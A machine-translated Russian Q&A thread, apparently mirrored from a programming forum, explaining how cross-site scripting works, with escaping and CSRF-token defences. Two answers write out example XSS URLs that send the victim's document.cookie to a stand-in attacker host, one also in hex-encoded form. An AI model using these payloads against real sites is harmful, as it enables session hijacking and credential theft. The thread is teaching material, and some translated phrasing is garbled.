Подтвердить что ты не робот

Как работает XSS?

Может кто-нибудь объяснить, как XSS работает на простом английском языке? Может быть, с примером. Googling не очень помог.

4b9b3361

Ответ 1

Скрипты в кросс-сайтах в основном представляют собой уязвимость безопасности динамических веб-страниц, где злоумышленник может создать вредоносную ссылку для ввода нежелательного исполняемого JavaScript на веб-сайт. Самый обычный случай этих уязвимостей возникает, когда переменные GET печатаются или эхофонируются без фильтрации или проверки их содержимого.

Когда жертва щелкает ссылку, вредоносный код может затем отправить файл cookie жертв другому серверу или может изменить затронутый сайт, ввести формы, чтобы украсть имена пользователей и пароли и другие методы фишинга.

Пример злонамеренной ссылки:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

Также распространено кодирование вредоносного кода, например, в шестнадцатеричном формате:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

Ответ 2

Уязвимость XSS существует, когда строка извне вашего приложения может быть интерпретирована как код.

Например, если вы создаете HTML, сделав это:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

то если переменная $myQueryParameter содержит тег <SCRIPT>, то она завершит выполнение кода.

Чтобы предотвратить выполнение ввода в качестве кода, вам необходимо выйти.

Вышеупомянутая проблема может быть решена путем реализации того, что переменная $myQueryParameter содержит простой текст, но вы не можете просто пойти и поместить простой текст в HTML и ожидать, что он будет работать.

Итак, вам нужно преобразовать простой текст в HTML, чтобы вы могли поместить его на свою HTML-страницу. Этот процесс преобразования строки на одном языке в другой, чтобы он мог быть встроен, ускоряется.

Вы можете избежать простого текста в HTML с помощью функции, например:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}

Ответ 3

Простой английский

XSS - это когда вы вставляете скрипты (т.е. код JavaScript) в веб-страницы, чтобы браузер выполнял код. Это вредоносно, потому что его можно использовать для кражи файлов cookie и любых других данных на странице. Например:

HTML окна поиска: <input value="*search value here*">

Теперь, если вы введете " onmouseover="alert(1), окончательный HTML будет <input value="" onmouseover="alert(1)"> Когда мышь пройдет через окно поиска, будет выполнено "предупреждение".

В "WikiText"

Межсайтовый скриптинг (XSS) - это уязвимость компьютерной безопасности, обычно встречающаяся в веб-приложениях. XSS позволяет злоумышленникам внедрять клиентские сценарии на веб-страницы, просматриваемые другими пользователями. Нападающие могут использовать уязвимость межсайтового скриптинга, чтобы обойти элементы управления доступом, такие как политика одного и того же происхождения.

Ответ 4

В простом английском XSS уязвимость безопасности, при которой злоумышленник может создать вредоносный script, чтобы скомпрометировать веб-сайт. Теперь Как это работает?

Как известно, для XSS требуется поле ввода, или мы можем сказать, что переменная GET, через которую вход возвращается к пользователю без фильтрации и иногда фильтрации. После запроса он является приемлемым ( "исходный код" ) браузером в качестве ответа, чтобы показать содержимое пользователю. Помните, что когда-либо вы писали в поле ввода, это будет на ответ исходного кода. Поэтому вы должны проверить его, потому что иногда веб-разработчик делает ограничение в окне предупреждения.

Если вы сначала атакуете, вам нужно знать уязвимость xss с помощью тега script.

Например: - alert ( "test" )

Здесь alert() используется для создания всплывающего окна с кнопкой ok, и что когда-либо было написано в скобке, оно будет отображаться на экране. И теги script невидимы.

Теперь злоумышленник может сделать вредоносный script, чтобы украсть файл cookie, украсть учетные данные и т.д.

Например: - hxxp://www.VulnerableSite.com/index.php? search = location.href= 'http://www.Yoursite.com/Stealer.php?cookie= + document.cookie;

Здесь ваш сайт - сайт злоумышленника, на котором злоумышленник может перенаправить куки файл жертвы на свой сайт с помощью document.cookie.

Вот оно.

Здесь script тег невидимый

Ответ 5

Я написал статью о том, что такое XSS и как обращаться с ней как разработчиком PHP. Существуют также примеры того, как выглядят оба типа атак XSS (постоянный или непостоянный).

Существует два типа атак XSS:

  • Непостоянный: это будет специально созданный URL-адрес, который script как один из параметров целевой страницы. Неприятный URL могут быть отправлены по электронной почте с целью обмана получателя, чтобы щелкнуть его. Целевая страница изменяет параметр и непреднамеренно отправляет код на клиентскую машину, которая была сначала передается через строку URL.
  • Постоянный: эта атака использует страницу на сайте, которая сохраняет данные формы в базе данных без правильно обрабатывая входные данные. Злоумышленник может вставлять противный script как часть типичного поля данных (например, Last Name), которое выполняется на веб-браузере клиента неосознанно. Обычно неприятный script будет храниться в базе данных и повторно запускаться при каждом посещении клиента на зараженную страницу.

Подробнее здесь: http://www.thedablog.com/what-is-xss/

Ответ 6

XSS -

Уязвимость возникает, когда веб-сайт помещает доверие пользователю и не фильтрует вход пользователя. Пользовательский ввод вызывает нежелательный script для запуска на сайте.

  • Профилактика:

    • Отфильтровать ввод пользователя с помощью дезинфицирующих средств на основе HTML

      (например, strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape в php)

CSRF:

Уязвимость, вызванная тем, что пользователь помещает доверие на сайт, но сайт может работать, чтобы получить пользовательскую информацию и использовать ее неправильно.

  • Профилактика:

    • Уникально автоматически генерирует csrf_token каждый раз, когда формируется форма. Csrf_token отправляется на сервер при отправке формы для проверки. например https://docs.djangoproject.com/en/dev/ref/contrib/csrf/